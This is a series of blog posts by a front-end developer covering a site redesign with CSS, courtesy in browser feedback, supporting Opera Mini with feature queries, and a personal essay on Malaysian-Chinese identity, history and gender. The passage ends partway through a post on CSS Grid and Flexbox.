According to Wikipedia, an epiphyte is a plant that grows harmlessly upon another plant (such as a tree) and derives its moisture and nutrients from the air, rain, and sometimes from debris accumulating around it. With that idea, I tried to find imagery that could show that sort of botanical characteristics but in the end settled on this image from StockSnap.io, and just made it really subtle.

Original stock photo

Magic of Photoshop

Another site I like for getting asset files is Subtle Patterns, which appears to have been acquired by Toptal? Hmmm...keep getting 'em cheques I suppose. Anyhoo, I picked up 2 subtle patterns to give the sections some differentiation (though 1 of them is barely noticeable).

I also took the opportunity to proof-read and rewrite some of the copy of site's content. English wasn't their first language, so some of the messaging wasn't entirely clear.

As for fonts, given they're a technology firm and the boys generally wanted a clean, minimalist aesthetic, I picked a sans-serif for the headings. But what type of sans-serif? Muli is a geometric sans-serif that is quite minimal, and fits in with the modern, technical nature of the business. Because it would be used for large sized headings, I went with the light weight.

Muli was paired with the serif font, Lora. Lora was designed by Olga Karpushina and published with Cyreal Fonts. It has some calligraphic qualities to it, and if you examine the serifs a bit closer, you'll see it has a bit of quirkiness to it. One of value propositions for Epyphite is Customer Care and using a friendlier font for the body text seemed apt.

The original layout was, how shall we put this, rather repetitive. Each piece of content had a heading that was light sea green and a border around it, not unlike a button, followed by white text. There was also some inconsistencies in typographic hierarchy which could be cleaned up.

I spy a pattern all the way down

The markup for the site was rewritten to minimise nesting and have a proper structural hierarchy. You can see the outline from the Nu HTML Checker, which I find kinda nifty. Following that, the entire layout and design would be fully handled by CSS.

Phase 4: CSS party-time 🎉

I don't know about you, but for me, writing CSS is a hoot. I have a standard starter SCSS kit that has been modified a couple of times over the years, and I may tweak the file structure again moving forward, but for this site, I just wrote everything in vanilla CSS.

The concept of flexible typography has always made a lot of sense to me. The browser is a canvas that is dynamic, we can change it's dimensions as we please. So ideally, the content within that canvas should somehow be able to adapt to whatever screen size it's being displayed on.

A common approach using media queries to change the font size as you hit certain viewport sizes. But there's also the idea of fluid typography, where the size of the font resizes smoothly to match device width. Which really became a thing when viewport units got widespread support.

There have been a number of articles that show how fluid typography can be achieved with CSS.

I made use of Mike's approach of CSS locks so this is the responsive font sizing setup:

:root {
  font-size: 18px;
}

@media (min-width: 320px) and (max-width: 960px) {
  :root {
    font-size: calc(18px + (22 - 18) * ((100vw - 320px) / (960 - 320)));
  }
}

@media (min-width: 960px) {
  :root {
    font-size: 22px;
  }
}

Since we have flexbox in our toolbox, I wanted to do a layout that was quite the fan-favourite amongst designers I worked with in Agencyland, and that was the alternating 2 column text-on-left, text-on-right pattern.

A diagram is probably easier to understand

It used to be a pain to this using a plethora of floats. Changing the markup structure wasn't a great idea either, the sections wouldn't stack nicely on a narrow screen. But now, we have flexbox, and life is different. With the order property, I could do get that pattern on a wide screen without messing up the source order.

Wide screen

Narrow screen

Another thing was the navigation links. The original navigation collapsed into a hamburger icon, which was thrown out with the rest of the files when I wiped the project clean 😏.

I was a bit tired of the collapsing navigation design pattern and we now have data that shows that this isn't a great idea to begin with. Given there were only 6 items in the navigation menu, I chose to have the links displayed vertically along the right side of the screen instead, using one of my favourite CSS properties, writing-mode.

Wrapping up

This was a best effort given the limited amount of time I had to work on it, and my friend was pretty pleased with the end result. So it was a pretty good use of an afternoon, if you ask me 🍷.

Be kinder to each other

Fri, 24 Mar 2017 00:00:00 GMT

The month of March has seen a mini-burst of hype around CSS grid, with Mozilla kicking things off by releasing Firefox 52, closely followed by Google with Chrome 57. Even Safari has gotten in on the grid game, which is scheduled to ship in the upcoming 10.1. Microsoft has the Update CSS Grid task marked as On the backlog.

Microsoft has a platform for garnering feedback from developers called Windows Developer Feedback. It is a place for developers to add new ideas for features they want to see in Edge, and let's other developers vote on these ideas. It's also a way for the Edge engineers to inform developers which features have made it to public release.

A short while back I came across this tweet by Patrick Kettner, who is part of the team working on Edge at Microsoft.

@marcosc @jsscclr tons of thoughts, and not enough time to tweetstorm, so... pic.twitter.com/KO4zAgk0Ot
— Patrick Kettner (@patrickkettner) March 19, 2017

Jen Simmons, who has been one of the most passionate people I know when it comes to the web, wrote a really nice piece of feedback on the Update CSS grid thread. Here it is in totality:

Thank you Microsoft for making CSS Grid happen. For working on the spec. For shipping the early implementation back when IE10 was new.

Firefox shipped Grid last week. Chrome shipped it today. And Safari will ship it very soon. It honestly makes me sad that Microsoft missed the boat, and isn't shipping right now as well. From the looks of things, other priorities have pushed out updating your implementation of Grid. I hope you can change that very soon, and get Grid out the door.

You worked so hard in 2010-2015 to improve the reputation of your browser. You even renamed it! And now, the biggest feature to ship in CSS in recent memory, and your browser is once again behind. I don't want people to curse you anymore! I want your amazing team to be proud of the great work they've done. And get credit! I want you to ship Grid, too. Soon. Well, as soon as you can.

I then scrolled through the rest of the comments on that thread, and found that overall, the tone of the comments are not as pleasant. I don't even know who these comments are being directed to exactly, and I suspect some of these commenters themselves don't know but just want to blow off steam.

I understand that those of us who build for the web get frustrated as cross-browser support and dealing with bugs or features that aren't implemented consistently. Oh, trust me, I really understand. But I don't think that frustration is a good enough reason to lash out.

The web has been really good to me. I've gained a tonne of knowledge, learned about places far away, peeked into the lives of people halfway around the world. I've made friends across the globe, managed to keep in contact with those who have moved far away, shared stories, photos and videos with them. Hey, I'm even being paid to work on the web.

But I've also seen the ugly side of the web. There's something about anonymity that brings out the worst in people. The level of vitriol and spite found in the comments section of most sites is mind-blowing. Although I'm aware that some people are capable of such behaviour even in real life, I think most people would never say such things to another person's face.

Several of my friends have had terrible things said about them online, in response to valuable content they created and shared for free. Granted this negative feedback is not the bulk of what they receive, but I think most of us can relate to how in spite of having 9 nice things said about you, that 1 nasty piece of feedback can gnaw at you for the rest of the day.

The world is not a perfect place. Life is not fair. But the matter of fact is, we live in this world together. All 7 billion (and more) of us share this planet. Nobody asked to be born, but we're all here now. We all have a choice on how we want to behave, and these choices will have an impact on someone else, whether we are aware of it or not.

Microsoft is a big corporation and I'm sure everyone has their own perception and opinion of them. But within Microsoft, every employee is an individual human being, just like you, with thoughts and feelings. Furthermore, in a large corporation such as Microsoft, there will definitely be many internal dynamics and decisions outsiders like us are not privy to. Many engineers themselves probably won't have the full picture.

I can't speak for the Edge team because I don't personally know any of them. But what I do know is that they too are developers like you and I. They too are somebody's son or daughter, friend or lover, and they definitely have feelings. Before we project our own frustrations onto others, we have to understand that we are seeing things from our perspective but not theirs.

Yes, it is important to provide feedback, but we can choose how we want to word that feedback. At the very least, be respectful and be kind. Imagine how you would feel if that nasty comment was directed to yourself. Then also think about how you would feel if somebody said something nice to you. These little things matter more than you think.

Credits: OG:image by Chibird

We need to talk about Opera Mini

Sat, 11 Mar 2017 00:00:00 GMT

Earlier this year, Jen Simmons asked the following question:

From your memory, which browser has now twice the user base of Internet Explorer (globally)? (Don’t cheat — what’s your impression?)
— Jen Simmons (@jensimmons) January 24, 2017

I managed to get the right answer (UC Browser) by virtue of elimination, not because I actually knew the statistics 😆. But what I do know, is that one of the options I have on my phone was not on that list. Yes, this is my semi-fail segue into talking about Opera Mini. Writing is hard 🤷.

Who uses Opera Mini?

Guess what? I do. I'm reasonably confident that I am possibly the only person in Singapore using a BLU Win HD LTE. It currently runs on Windows 10 Mobile, and I like it. Microsoft Edge uses EdgeHTML as its layout engine and Chakra as its JavaScript engine. Both desktop and mobile versions use the same engine, which is more than I can say for iOS browsers 🔥.

Anyway, back to Opera Mini. The browser usage share for February 2017, according to StatCounter is 3.3%. That's actually more than Edge 14 (1.49%) and Safari 10 (1.54%) combined. Regionally, the lion's share of users for Opera Mini are from Africa, followed by Asia.

Africa is a significant market for Opera and they have focused on developing features that address key challenges for people in that region: high data costs, limited network capacity, growing page weights and background data consumption. These challenges apply to lower-income countries in other regions as well.

Different modes on Opera Mini

Opera Mini has different modes, which affect data consumption and also rendering. Each of the operating systems uses a version of Opera Mini with a different set of modes. Check out the full table at Opera Browsers, Modes & Engines.

There are 4 Operating Systems that can run Opera Mini: Android, iOS, J2ME and Windows Phone, and 3 different rendering engines depending on which mode is chosen.

iOS

Android

J2ME

Windows 10

Opera Mini also has a built in QR code reader, which I find pretty useful because typing URLs is a pain. I honestly don't know why so many people think QR codes are useless, but if I can use a QR code to get to a site I will. With my Opera Mini QR code reader 🙆.

Presto, server-side

This version is what runs on J2ME and Windows Phone. It can be selected as Opera Mini mode on iOS and Extreme mode on Android. The most significant feature for this mode is its server-side compression.

Opera Mini can act as a proxy browser, meaning the requests from the browser will go through Opera's transcoding servers before being forwarded to the website's server. When the server returns its response, it too passes through Opera's servers, it gets transcoded into Opera Binary Markup Language (OBML) which then gets progressively loaded on the user's device.

Opera Mini architecture diagram

The transcoding process involves parsing of HTML and CSS, as well as execution of JavaScript. What is received by Opera Mini at the end of it is an “interactive snapshot of the document's state”. The data savings from this can be up to 90% over the network, but the downsides are standards support is limited, hence quite a few CSS properties are not supported and JavaScript may not behave in ways you expect.

Some people might be concerned with is security, given that all data will pass through Opera's servers. Opera ensures that the traffic between your handset and their servers is encrypted when browsing secure webpages, but they would require access to the unencrypted version of the webpage to implement compression.

Android WebView

Opera Mini on Android phones also have a High mode option, which runs on Android WebView. WebView is based on Chromium and uses the V8 JavaScript engine. By default, if you are connected to Wi-Fi and using this mode, data savings are disabled unless you explicitly turn it on in the Settings.

There is also something called Video Boost, which is an option you can toggle from the Data Savings settings as well. Activating it will trigger video compression to reduce the size of the video file during the transcoding process.

WebKit, system

Opera Mini on iOS phones have 2 additional modes, Normal and Turbo. Both these modes run on WebKit, as is expected for all browsers on iOS. The difference between them is that Turbo is a proxy browser, which works similarly to Mini mode except that the compression is much less aggressive, allowing websites to generally render as expected.

Developing with Opera Mini in mind

This is a recap of my own experience and some thought processes that led to certain decisions. Point is, it's necessary to understand that there will be people who browse your site using Opera Mini mode. It could be 1 person, it could be 100, it could be 100,000. I've often heard the argument that people using Opera Mini are not the target audience so it doesn't matter.

It does matter. I'm not saying spend months trying to build an Opera Mini specific implementation, nor am I advocating for limiting features simply because Opera Mini doesn't support them. I want everyone to go ahead and explore and learn the latest and greatest, experiment and build wonderful experiences. But it is a must that the most basic content is accessible from any browser.

When it's all said and done, if we strip away all the scripts and styles, can people understand your message? Properly structured text and optimised images. That's the crux of it. Layer on all the styles and effects and animations, go as far as you want, but make sure they are built upon a solid foundation.

@supports is your best friend

For all the things Opera Mini does not support, the one thing it does have going for it, is @supports. In fact, without @supports (also known as feature queries), life would be a lot harder when it comes to layering on enhancements.

Opera first implemented in Nov 2012. Both Chrome and Firefox had it since May 2013. So people have been writing about feature queries over the years, though it seems that awareness of its broad support is not well-known. In fact, a lot of early coverage was not written in English (maybe that's why, I can't say for sure).

@supports ― CSSのFeature Queries by Masataka Yakura, August 8 2012
Native CSS Feature Detection via the @supports Rule by Chris Mills, December 21 2012
CSS @supports by David Walsh, April 3 2013
Responsive typography with CSS Feature Queries by Aral Balkan, April 9 2013
How to use the @supports rule in your CSS by Lea Verou, January 31 2014
CSS Feature Queries by Amit Tal, June 2 2014
Coming Soon: CSS Feature Queries by Adobe Web Platform Team, August 21 2014
CSS feature queries mittels @supports by Daniel Erlinger, November 27 2014

Here's how support looks like right now.

Can I Use css-featurequeries? Data on support for the css-featurequeries feature across the major browsers from caniuse.com.

I see you staring at IE

First of all, let me acknowledge that there is still a significant number of organisations that require support of Internet Explorer. Microsoft still continues to support IE11 for the life of Windows 7, 8 and 10. They have, however, stopped supporting older versions since January 12, 2016.

Before we talk about IE11's lack of support for @supports (see what I did there? 😈), let me introduce the concept of negativity bias. It is also known as the negativity effect.

Bad is stronger than good, as a general principle across a broad range of psychological phenomena.
—Kathleen D. Vohs

Yes, it will be a bit tricky when it comes to using @supports for certain features that fall into that odd matrix of being supported by IE11 yet not in Opera Mini but it's kind of a weak excuse to throw the baby out with the bathwater and just disregard feature queries altogether. Going “ain't nobody got time for dat” is NOT the way to do it.

Jen Simmons wrote an extensive article called Using Feature Queries in CSS which discussed such tricky situations, specifically “Browsers that support do not Feature Queries, yet do support the feature in question”.

For cases like those, it really depends on the specific CSS feature you want to use, then make a decision whether it is acceptable to not include that feature even if the browser supports it.

Of course, it depends on the particular use case. Perhaps this is a result we can live with. The older browser gets an experience planned for older browsers. The web page still works.
—Jen Simmons

Planning is required

I'll be honest here. I don't use CSS frameworks. I write my styles from a basic boilerplate I developed over the years, which has in turn increased my familiarity with browser support of CSS properties quite a bit, built up from years of referencing caniuse.com constantly throughout development.

My main development browser is Chrome Dev, but the tool I've found most indispensable is BrowserSync. As long as a device is on the same local network, you can view the results of your work incrementally on different browsers, making it easier to resolve cross browser issues as they arise. Much less trouble than trying to solve a plethora of bugs at the end.

Opera Mini doesn't support BrowserSync

I just glance at the various browsers open at the same time to check if anything is amiss. Now, the issue with Opera Mini is that BrowserSync doesn't work on Mini mode. I would think it is due to the proxy behaviour so it means you have to push code to a live server to see how it would render on Opera Mini.

This may not be the best solution (and I welcome suggestions on better methods) but I use Surge as my Opera Mini test server. Surge offers free static web publishing via the command line and works really well with a git hook. Here's their documentation. Because I use gulp as my task runner, I already had a package.json file anyway. Once I pushed my code, I could load the test version on Surge on Opera Mini to see how it looked.

Update: I have since read Bruce Lawson's article on Making websites that work well on Opera Mini and in there are excellent solutions for local development with Opera Mini, as follows

There are other options like localtunnel, which assigns a uniquely publicly accessible URL that proxies all requests to your locally running web server. The URL remains accessible as long as localtunnel and your local web server is running.

To install it, run the following to install it globally:

npm install -g localtunnel

Then, use the following command to request a tunnel to your locally running web server (change the port number to whichever you're using):

lt --port 8000

I coupled this with qrcode-terminal, because I'm a lazy sloth. ICYMI, Opera Mini comes with a QR code scanner, folks! So after you get a URL generated by localtunnel, you can run the following in another terminal window to get a QR code of the URL, freeing you of the need to type a long, meaningless URL on your phone.

qrcode-terminal 'GENERATED_URL_GOES_HERE'

There is also ngrok, which comes with more features than localtunnel, like allowing you to inspect your traffic, a real-time web UI and so on. I didn't try this myself, but this seems like a good solid option as well.

IE11 versus Opera Mini

This is the part where decisions need to be made. Building Penang Hokkien was quite the experience for me because there were quite a few CSS features that didn't play nice across browsers. My language switcher made use of the checkbox hack, which didn't play well with Opera Mini. And writing-mode isn't supported either.

But I wasn't trying to make the Opera Mini site look like how it would on a full-featured browser, I just needed the content to be readable. Opera Mini does not support CSS gradients, which were what my language toggle used. Since the checkbox hack was wonky on Opera Mini to begin with, I turned it off altogether.

@supports (background-image: linear-gradient(to bottom, #f4f1ee, #fff)) {
  /* relevant styles here */
}

That approach would also turn off the language switcher feature from IE11, because it does not support feature queries, the entire code block is ignored. What is left is that both the Chinese content and English content would be displayed at the same time for Opera Mini and IE11. That's a decision I could live with.

If you look at my source code, you will notice lots of browser hacks here and there. This is largely due to the fact that there are still a bunch of writing-mode bugs in different browsers. I have styles that are Firefox-specific, Edge-specific, IE11-specific and so on. Is it more code? Yes. I cannot deny that. But at least I get to use the latest CSS features and stil deliver a readable experience to browsers that don't support them.

It doesn't look great, but all the content is readable

There isn't really a prescribed way to go about developing for cross-browser compatibility. My take is, at least take the time to try out a variety of methods and settle into a workflow you're most comfortable with. I like using gulp with BrowserSync, you may like something else, and that's perfectly fine.

Wrapping up

The World Wide Web was originally created as a means for researchers to share information more easily. The concept of information sharing has never wavered over the years. But it is incumbent upon those of us who build for the web to ensure that we aren't hindering access to information because it is “too much trouble”.

I understand the rationale behind using existing data to determine what browsers you want to support, but sometimes I wonder if doing so results in a cycle of exclusion. That less users of certain browsers visit a site because it doesn't seem to work right, which makes the developers think it's not necessary to support that tiny segment anyway. Feels like a death spiral to me.

For sites where the value is in its content, blogs with tutorials, news and articles, I think it's necessary to make sure your content is still accessible under the most hostile conditions. In the grand scheme of things, it's really not that hard. Hard is being a refugee fleeing from war, hard is being a migrant worker earning a pittance to support a large family back home, hard is living in fear of being persecuted and attacked because of your faith or race.

No, what we get to do for a living, is a blessing. And making valuable information accessible is the least we can do to help make the world a better place.

How a CSS property made me think about my identity

Mon, 06 Mar 2017 00:00:00 GMT

I was born in Malaysia, a Southeast-Asian country made up of the southern portion of the Malay Peninsula and part of the island of Borneo. Ethnically, I am Chinese, and if I'm not mistaken, my ancestors migrated from the Fujian Province in China three generations ago and settled in Penang. My family then moved south to Johor when I was 3, and my childhood was split between Singapore and Malaysia. I lived in Johor and commuted to Singapore for school every day. I now live and work in Singapore.

If you were keeping track, that paragraph mentioned four different geographical locations. When someone asks me, where are you from? The answer varies depending on who is asking and my mood at the time. Sometimes I'm from Penang, sometimes I'm from Johor, sometimes I'm from Singapore. Singapore and Malaysia are not very big countries, and I've encountered quite a lot of people outside of Southeast Asia who don't know where we are.

I happen to be a front-end developer who loves experimenting with CSS. The way CSS works just makes sense to me, even if some people beg to differ. Late last year, I started experimenting with a particular property called writing-mode which allowed text to be laid out vertically. There aren't that many vertical scripts in the world, but I happen to know one of them.

Chinese, I'm talking about Chinese.

At the time I was just trying to find out why Chinese was written vertically but ended up learning a lot more about the Chinese language and Chinese culture in general than I ever learned in school. I've always found language intriguing.

In my mind, language is how something ethereal and intangible like an idea becomes real. It solidifies thought into something physical. And what I realised is that a language is intrinsically tied in with the culture that uses it.

There was one line from Moonlight that stuck with me. It was when Kevin asked Chiron, “Who is you?” It made me ask myself that question, and made me think about all the ways we categorise ourselves and others.

In his book Sapiens: A Brief History of Humankind, Yuval Noah Harari proposes the idea that Homo sapiens rule the world because of our unique ability to believe in things that only exist in our imaginations. It is an idea that resonated with me.

All societies are based on imagined hierarchies, but not necessarily on the same hierarchies. [...] In most cases the hierarchy originated as the result of a set of accidental historical circumstances and was then perpetuated and refined over many generations as different groups developed vested interests in it.
— Yuval Noah Harari

Human beings seem to have an inherent need to be part of a group. It probably stems from the fact that we aren't built to survive on our own. Newborn human babies are among the most useless creatures in terms of ability to stay alive. Our relatively large brain size requires the infant to be born before it can no longer fit through the birth canal. And requires extra care from adult humans to nurture their offspring to a state where they can care for themselves.

Between this phenomena and our penchant for believing in shared myths, we managed to build societies and cultures. The tricky part about these shared myths is that they are dependent on a collective belief in what Harari refers to as an imagined order, an inter-subjective order.

This means it exists in the imaginations of so many people that any one individual cannot hope to alter it on their own. Even if he or she stops believing, it will make little difference in the grand scheme of things. Only a cataclysmic event can change an existing imagined order, and even then, it will only result in the belief of an alternative imagined order.

Who is you?

Our world functions in a certain way, but why did it turn out like this? I have a simplistic theory about the behaviour of humans. If we can broadly categorise people into leaders and followers, in order to have large, organised societies, it is simply not feasible to have a majority of leaders. A possible scenario could be that leader-type individuals just fought each other to death, leaving much fewer but “strongest” leaders.

They could be physically strong, particularly charismatic, exceptionally wise or all these things. On the flip-side, follower-types would make a decision on who was the “best” leader to follow, shaping up a society that had a large ratio of followers to leaders.

When I was a kid, I used to think history was fact. That whatever we learned in school was the way things played out. I mean, you can't change events that happened, right? But you can change the way the story is told.

I realised much later that history is written by people, and people have opinions and biases and different perspectives depending on which side they were on. What we learn in school is, to a certain extent, coloured by political purpose. Turns out there are many different versions of history depending on where you are in the world.

Even though most historical events can be corroborated by different parties, there are some events where either side paint very different pictures of what actually happened. I came to the conclusion that war is the result of a small number of influential people, leaders, if you may, somehow managing to compel huge numbers of followers to take action. Often brutal actions, for the sake of an idea. The idea of glory, the idea of economic gain, the idea of righteousness, the idea of us versus them.

Shashi Tharoor, former Under-Secretary-General of the United Nations and member of the Indian National Congress, pointed out how little the new generation of British youth knew about colonial atrocities in an interview on Channel 4 News. He makes it clear that even though events of the past should not affect today's relations between India and Britain, it is necessary to be aware of history.

If you don’t know where you’ve come from, how will you appreciate where you’re going?
— Shashi Tharoor

In a world that plays by Western rules, is it any surprise that there is only one non-Western country that is classified as a developed nation? Capitalism is a Western economic system that has become the de facto global standard. This is the most epic shared myth in human history. The world today is driven by economic growth as the ultimate goal of every nation state.

We all perceive the world and our place in it differently. And these are my views of the world and my place in it, formed as a result of my personal experiences. You will have your own views and opinions, which may or may not disagree with mine.

Who is you?

I am Malaysian.

Tobias Stone proposed that most peoples' perspective is limited to the experience communicated by their parents and grandparents, around 50–100 years. So let's talk about 50–100 years ago from my perspective. My grandmother lived through World War II in Penang.

Even though it was called World War II, I came to understand that the war was very different depending on which region you came from. Malaysia and Singapore were ravaged by the war, under Japanese occupation from 1941 to 1945, especially in Penang and Singapore.

The Japanese were particularly brutal toward the Chinese. Penang and Singapore had the largest Chinese populations in Malaya, and still are predominantly Chinese today. My grandmother told me many stories about her experiences during the war.

About her brother who got caught by Japanese soldiers and subjected to water cure torture, but managed to make it back, barely alive. About another brother who took cover in a large drain when the Japanese planes started raining bullets and came home covered in the blood of those who were felled on top of him.

About how she and her sisters narrowly escaped, purely by luck, capture by Japanese soldiers looking for comfort women. Because they decided to move to another location, leaving only two men at home that night.

About when the bombs started falling, and people gathered in a sheltered market with thick, heavy doors for cover. But the bomb blast threw open the doors anyway, and everyone scrambled to shut the doors again.

About how they thought the fighter planes flying overhead were British reinforcements but realised something was very wrong when bombs started falling. The British had long abandoned Penang when they realised they couldn't win, leaving the local population to fend for ourselves.

Who is you?

I am Asian.

Over human history, empires have risen and fallen. As the human population grew, so did the size of each subsequent empire. As human technology advanced, it became possible to have control over larger and larger territories. The Histomap is a visual representation of the relative power of contemporary states, nations and empires over 4000 years.

The world is currently organised into nation states. But even so, global interconnectedness seems to have reached a point where we are now living in a global empire of sorts. A few centuries of European colonialism has led us to a point where in 2017, the world is dominated by Western culture. There are many factors that collectively led to this outcome, but this is the world we live in now.

Western civilisation has had significant impact on Eastern ideology and way of life. Tara Chand, describes the contrast between both cultures on how they view nature, science and philosophy, in his article published in the International Social Science Bulletin.

Science is of course the lifebreath of the civilization of the West, and is the chief determinant of Western man's values and destiny. The triumphant march of science in the West is, to an increasing degree, extorting Asia's admiration and homage.
—Tara Chand

One of the most significant impacts of westernisation on the world is that we now measure progress and achievement with a western yardstick. The Scientific Revolution was the period around 1550–1700 when Europe experienced significant change in terms of thought and belief, as well as social and institutional organisation. And the period ensuing was known as the Age of Enlightenment.

Nathan Savin questions the assumptions behind the question Why the Scientific Revolution did not take place in China? He points out that there are certain Western assumptions with regards to the Scientific Revolution that people are not comfortable with challenging.

These assumptions are usually linked to a faith that European civilization—above all in its current American form—was somehow in touch with reality in a way no other civilization could be, and that its great share of the world’s wealth and power comes from some intrinsic fitness to inherit the earth that was there all along.
—Nathan Savin

Tara Chand describes Gandhi as a person who accepted spiritual values from the East, as well as the Western concepts of freedom, equality and nationalism purged of its exclusiveness and chauvinism. A man who accepted science within limits yet did not worship it, who “was rational and critical up to a point, beyond which he accepted only the guidance of his inner voice.” Is it too idealistic to hope for a global culture that marries the best of both worlds?

Who is you?

I am Chinese.

In my eyes, the world we live in right now, is a white man's world. It's not so much about ethnicity, but rather, race. Race itself is a classification system invented by European anthropologists like Johann Friedrich Blumenbach to identify the groups of people that looked different from themselves, based on physical characteristics.

A survey published in the American Journal of Physical Anthropology revealed a clear consensus among modern anthropologists that races are arbitrary, but racial privilege affects anthropologists' views on race. I can't be too surprised by this, given that power has generally been in the hands of white men.

Global interconnectedness has brought western culture to all corners of the planet. Even though many non-western countries have held onto their own culture, we cannot deny the fact that western ideals have permeated our societies. Just look at these Euro-themed towns in Shanghai.

There is even a Chinese phrase, 崇洋媚外, that translates into having a servile attitude towards all things Western. Even though this is probably not the prevailing attitude of most Chinese (that I know of), the fact that we have this specialised phrase says something.

Personally, I had been exposed to both Western and Eastern culture in equal parts growing up. As mentioned previously, both Singapore and Malaysia are relatively small countries with limited influence on a global stage. We know who the big countries are, but sometimes people in those countries don't necessarily know who we are.

I have met people who cannot seem to comprehend that I can be Chinese and yet not from China. And that when I say I am Malaysian, they think it means I am Malay. That's not how it works. Thankfully, this is a rare occurrence. I suppose the concept of immigration is foreign to some people.

Who is you?

I am female.

A research paper investigating gender roles and agricultural history proposed that societies with a long agricultural history develop less equality in gender roles due to a prevalence of patriarchal values and beliefs.

As neolithic societies transitioned from Hunter-Gatherer to agricultural, a premium was placed on the physical strength of men working in the fields. This shifted the division of labour, reducing the “economic viability” of women in society. This historical circumstance has been perpetuated over thousands of years.

Look at the Forbes' 2016 list of most powerful people. Out of the 74, only 6 are women. Fewer women run big companies than men named John or David. Two-thirds of the world's illiterate population are women. Child marriage, which essentially robs girls of their freedoms and restricts their rights to health, education and opportunity, is still a global issue. 35% of women worldwide have experienced either physical and/or sexual intimate partner violence or non-partner sexual violence in their lifetime.

I am not surprised when my friends tell me about how they get “mansplained” to by male colleagues. I am not surprised when I hear stories of how female developers who have been writing and speaking about certain technologies or technical concepts for years fail to get recognised.

And yet, when a white, male engineer discovers said topic and speaks or writes about it for the first time, he immediately becomes lauded and viewed as a subject matter expert. Reports of the sexism faced by female engineers like AJ Vandermeyden, Susan J. Fowler and Julie Ann Horvath still occur on a daily basis.

We have not inherited this earth from our parents to do with it what we will. We have borrowed it from our children and we must be careful to use it in their interests as well as our own.
—Moses Henry “Moss” Cass

Just because something has “always been this way” doesn't mean it's always right. Yes, there is wisdom that we can learn from ancestors past, but I think it is crucial to constantly revisit the rationale behind our societal norms.

Our actions today will determine the state of the world tomorrow, regardless of how small they might be. Like calling out instances of sexism you encounter, sometimes the person themselves might not be aware of what they're doing. Recognising and supporting the achievements of women, even if it's just a shout-out on Twitter, counts. Because visibility and representation matters more than you think.

Who is you?

What you believe in determines who you are. Beliefs will ultimately shape our behaviour, and our impact on the people and world around us. But I also think that our beliefs can change as we accumulate life experiences. I have a couple of beliefs governing how I lead my life at the moment.

I believe that hard work does not guarantee success, it merely increases the probability of success. Does that imply we should not work hard? Of course not! Does that mean we should work harder and harder? We-ll, you could but I probably wouldn't.

My take on this belief is that it's better to learn to appreciate the process than to fixate on the results. Because the working hard part is something I can control, but the success part is not.

I also believe in karma. What can I say, I'm Asian. Don't be a horrible person, don't intentionally harm anybody, and be nice to people, even if sometimes, people are not very nice to you. Look, the world is not fair. We don't all start off on equal footing. Nobody asked to be born in war-torn Syria.

Those of us who were born closer to the finish line cannot just finish the race and be proud of ourselves when others had to start off from much further behind us. It is incumbent upon us to lend a helping hand where we can, it's a human duty. So just do it.

Take this as a naval-gazing post if you must, but sometimes words just have to be written. If you got this far, I applaud and appreciate your attention span. I will leave with this quote from one of my favourite talks by Mike Monteiro. Stay safe, all.

The world is generally changed by people who just want to live out their ordinary lives by people who are just trying to get home.
—Mike Monteiro

Grid + Flexbox: the best 1-2 punch in web layout

Thu, 02 Mar 2017 00:00:00 GMT

This article has been translated to French by Pierre Choffé on La Cascade.

We're 5 days away from the stable release of Firefox 52. Do you know what this means? This means in 5 days, CSS Grids will be supported, And Chrome 57 will follow close behind on March 14, then Safari 10.1 and hopefully Edge, before the end of 2017.

I'm so excited.

Can you tell how excited I am? Maybe some emojis can help convey the message. 🎊🙆🎉💃

My deep dive into CSS grid

Remember when Rachel Andrew answered the question of whether we should use Flexbox or Grid? No? Watch the video then.

Flexbox for 1 dimensional layout. CSS Grid is for 2 dimensional layout.
— Rachel Andrew

I'm sure smarter people than me have this figured out by now but until my recent month-long torrid affair with CSS Grid, I didn't realise how well Flexbox and Grid went together. It was like peanut butter and jelly, or apples and cinnamon, or bacon and eggs. Oh my gosh, I'm getting hungry.

Some of you may have noticed that I've started contributing to Codrops CSS Reference. It's seriously one of the best things that happened to me in 2016, I might write about it. Or not. We'll see. One of the pending entries on the list was for CSS Grid. Before I started writing that entry, I had only played around a little bit with Grid, and built a prototype version of Penang Hokkien using Grid just to see if it would play better with vertical writing-mode than Flexbox.

Then I sat down and wrote the entry.

3 weeks later, I felt like I had fused with a max-level Metal Cactuar (that's a Final Fantasy Brave Exvius reference, I can't help it, Final Fantasy is a thing in my life 🤷), in other words, it was a major levelling-up. I spent a lot of time with the actual specification, all 86 pages of it (according to my print settings).

There were also the CSS Grid articles written by Manuel Rego Casasnovas which really dive into specific features of Grid, like positioned items, grid layout placement and auto-placement. And Rachel Andrew's Box Alignment Cheatsheet was such a life-saver, because another resource I was using had the axes mixed up, making me extremely confused for a few days.

Here's my tip. When trying to learn any CSS property, have a blank HTML template on hand so you can play around in a clean sandbox environment. This was especially useful for a new feature like Grid. I know we have Codepen and all, but I like a blank slate for distraction-free experimentation.

Examples and demos

As I worked my way through the properties, I started off building very basic grids, just to see how each property value worked. If you've seen the syntax for grid-template-rows in the specification, you'll realise that this was not a trivial task. Grid itself is not hard to learn. But because it was built to be very flexible and powerful, you'll need to spend a bit more time to get to know Grid.

A few of those basic grids grew into proper demos. Some demos were inspired by conversations with people from the CSS Layout Club. I'm also auditing Ideas from the History of Graphic Design on Coursera, so plenty of inspiration from there too (last week was Bauhaus week ❤️).

I came across this page from Malerei, Fotografie, Film by László Moholy-Nagy which was laid out in a grid and the first thought that popped into my mind was, that can be done in CSS...I think. Well, only one way to find out.

Page 126 of Malerei, Fotografie, Film

Bauhaus in my browser

Here's my process. I drew grid lines over the image in Sketch so I could figure out how many columns I needed. For this case, it worked out to be 1 large column followed by 5 narrower columns of equal width and I let the browser figure out the row heights.

.grid {
  display: grid;
  grid-template-columns: 30% 9% 9% 9% 9% 9%;
  justify-content: center; /* to justify the grid in the middle of the container */
}

After that, it was a whole bunch of placement code with the grid-row and grid-column properties. But if you look at the original image again, you'll see that the content in each grid cell is have their own alignment. Like the first cell's contents are flush to the right, the word in the second cell is flush left and bottom, and so on.

My first instinct, since I got this whole box alignment thing all figured now, was to apply justify-self and align-self where necessary to adjust the content positions within each grid cell. Nice try, close but no cigar. The issue with doing that is these 2 properties affect the amount of space occupied by the grid cell.

The Bauhaus design has a lot of striking black borders around each grid cell. The border property applies onto the grid item. Any grid alignment property other than stretch will make the size of the grid item fit to its contents. Any borders applied to grid items naturally fit the grid item's contents, so I couldn't do that, it messed up the design.

These are not the borders you're looking for

Flexbox to the rescue

